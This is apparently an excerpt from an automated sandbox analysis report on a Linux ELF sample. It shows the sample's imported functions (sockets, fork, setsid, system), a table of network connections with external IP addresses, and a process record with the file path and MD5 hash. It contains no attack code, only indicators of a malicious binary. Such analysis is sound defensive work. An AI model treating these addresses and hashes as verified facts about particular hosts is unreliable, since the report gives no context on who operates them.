          __div0.dynsym0x10b744FUNC<unknown>DEFAULT8
          __end__.dynsym0x19d080NOTYPE<unknown>DEFAULTSHN_ABS
          __errno_location.dynsym0x8d9832FUNC<unknown>DEFAULTSHN_UNDEF
          __modsi3.dynsym0x10a90228FUNC<unknown>DEFAULT8
          __muldi3.dynsym0x10b7880FUNC<unknown>DEFAULT8
          __uClibc_main.dynsym0x8d2c488FUNC<unknown>DEFAULTSHN_UNDEF
          __udivsi3.dynsym0x108b4248FUNC<unknown>DEFAULT8
          __umodsi3.dynsym0x109c4204FUNC<unknown>DEFAULT8
          _bss_end__.dynsym0x19d080NOTYPE<unknown>DEFAULTSHN_ABS
          _edata.dynsym0x19be40NOTYPE<unknown>DEFAULTSHN_ABS
          _end.dynsym0x19d080NOTYPE<unknown>DEFAULTSHN_ABS
          _exit.dynsym0x8db040FUNC<unknown>DEFAULTSHN_UNDEF
          _start.dynsym0x8f0880FUNC<unknown>DEFAULT8
          abort.dynsym0x8c6c352FUNC<unknown>DEFAULTSHN_UNDEF
          accept.dynsym0x8c7844FUNC<unknown>DEFAULTSHN_UNDEF
          bind.dynsym0x8ca844FUNC<unknown>DEFAULTSHN_UNDEF
          calloc.dynsym0x8c8488FUNC<unknown>DEFAULTSHN_UNDEF
          clock.dynsym0x8dd452FUNC<unknown>DEFAULTSHN_UNDEF
          close.dynsym0x8e0444FUNC<unknown>DEFAULTSHN_UNDEF
          closedir.dynsym0x8dec196FUNC<unknown>DEFAULTSHN_UNDEF
          connect.dynsym0x8bc444FUNC<unknown>DEFAULTSHN_UNDEF
          exit.dynsym0x8da4172FUNC<unknown>DEFAULTSHN_UNDEF
          fcntl.dynsym0x8df8116FUNC<unknown>DEFAULTSHN_UNDEF
          fork.dynsym0x8d2044FUNC<unknown>DEFAULTSHN_UNDEF
          free.dynsym0x8e10288FUNC<unknown>DEFAULTSHN_UNDEF
          getpid.dynsym0x8bdc44FUNC<unknown>DEFAULTSHN_UNDEF
          getppid.dynsym0x8d5044FUNC<unknown>DEFAULTSHN_UNDEF
          getsockname.dynsym0x8e1c44FUNC<unknown>DEFAULTSHN_UNDEF
          getsockopt.dynsym0x8d8048FUNC<unknown>DEFAULTSHN_UNDEF
          inet_addr.dynsym0x8cb436FUNC<unknown>DEFAULTSHN_UNDEF
          kill.dynsym0x8c9c44FUNC<unknown>DEFAULTSHN_UNDEF
          listen.dynsym0x8d1444FUNC<unknown>DEFAULTSHN_UNDEF
          malloc.dynsym0x8c0c400FUNC<unknown>DEFAULTSHN_UNDEF
          memcpy.dynsym0x8bf44FUNC<unknown>DEFAULTSHN_UNDEF
          memmove.dynsym0x8bd04FUNC<unknown>DEFAULTSHN_UNDEF
          memset.dynsym0x8d38156FUNC<unknown>DEFAULTSHN_UNDEF
          open.dynsym0x8dc892FUNC<unknown>DEFAULTSHN_UNDEF
          opendir.dynsym0x8d68264FUNC<unknown>DEFAULTSHN_UNDEF
          prctl.dynsym0x8be848FUNC<unknown>DEFAULTSHN_UNDEF
          rand.dynsym0x8cd84FUNC<unknown>DEFAULTSHN_UNDEF
          read.dynsym0x8ce444FUNC<unknown>DEFAULTSHN_UNDEF
          readdir.dynsym0x8c54224FUNC<unknown>DEFAULTSHN_UNDEF
          readlink.dynsym0x044FUNC<unknown>DEFAULTSHN_UNDEF
          realloc.dynsym0x8cfc312FUNC<unknown>DEFAULTSHN_UNDEF
          recv.dynsym0x8bb844FUNC<unknown>DEFAULTSHN_UNDEF
          recvfrom.dynsym0x8c3052FUNC<unknown>DEFAULTSHN_UNDEF
          remove.dynsym0x8c1872FUNC<unknown>DEFAULTSHN_UNDEF
          select.dynsym0x8c4848FUNC<unknown>DEFAULTSHN_UNDEF
          send.dynsym0x8c6044FUNC<unknown>DEFAULTSHN_UNDEF
          sendto.dynsym0x8cf052FUNC<unknown>DEFAULTSHN_UNDEF
          setsid.dynsym0x8de044FUNC<unknown>DEFAULTSHN_UNDEF
          setsockopt.dynsym0x8cc048FUNC<unknown>DEFAULTSHN_UNDEF
          sleep.dynsym0x8c24420FUNC<unknown>DEFAULTSHN_UNDEF
          socket.dynsym0x8c3c44FUNC<unknown>DEFAULTSHN_UNDEF
          sprintf.dynsym0x8d7452FUNC<unknown>DEFAULTSHN_UNDEF
          srand.dynsym0x8d44148FUNC<unknown>DEFAULTSHN_UNDEF
          stat.dynsym0x8d8c80FUNC<unknown>DEFAULTSHN_UNDEF
          strlen.dynsym0x8dbc96FUNC<unknown>DEFAULTSHN_UNDEF
          strstr.dynsym0x8ccc248FUNC<unknown>DEFAULTSHN_UNDEF
          strtok.dynsym0x8d0836FUNC<unknown>DEFAULTSHN_UNDEF
          system.dynsym0x8c00336FUNC<unknown>DEFAULTSHN_UNDEF
          time.dynsym0x8d5c44FUNC<unknown>DEFAULTSHN_UNDEF
          write.dynsym0x8c9044FUNC<unknown>DEFAULTSHN_UNDEF
          TimestampSource PortDest PortSource IPDest IP
          Mar 20, 2023 16:48:18.187361956 CET42836443192.168.2.2391.189.91.43
          Mar 20, 2023 16:48:18.443370104 CET4251680192.168.2.23109.202.202.202
          Mar 20, 2023 16:48:33.802670956 CET43928443192.168.2.2391.189.91.42
          Mar 20, 2023 16:48:44.042093992 CET42836443192.168.2.2391.189.91.43
          Mar 20, 2023 16:48:48.137826920 CET4251680192.168.2.23109.202.202.202
          Mar 20, 2023 16:49:11.867672920 CET5699951628103.161.181.97192.168.2.23
          Mar 20, 2023 16:49:11.867882013 CET5162856999192.168.2.23103.161.181.97
          Mar 20, 2023 16:49:14.760677099 CET43928443192.168.2.2391.189.91.42
          Mar 20, 2023 16:49:35.239443064 CET42836443192.168.2.2391.189.91.43

          System Behavior

          Start time:16:48:17
          Start date:20/03/2023
          Path:/tmp/r41xp4rOln.elf
          Arguments:/tmp/r41xp4rOln.elf
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1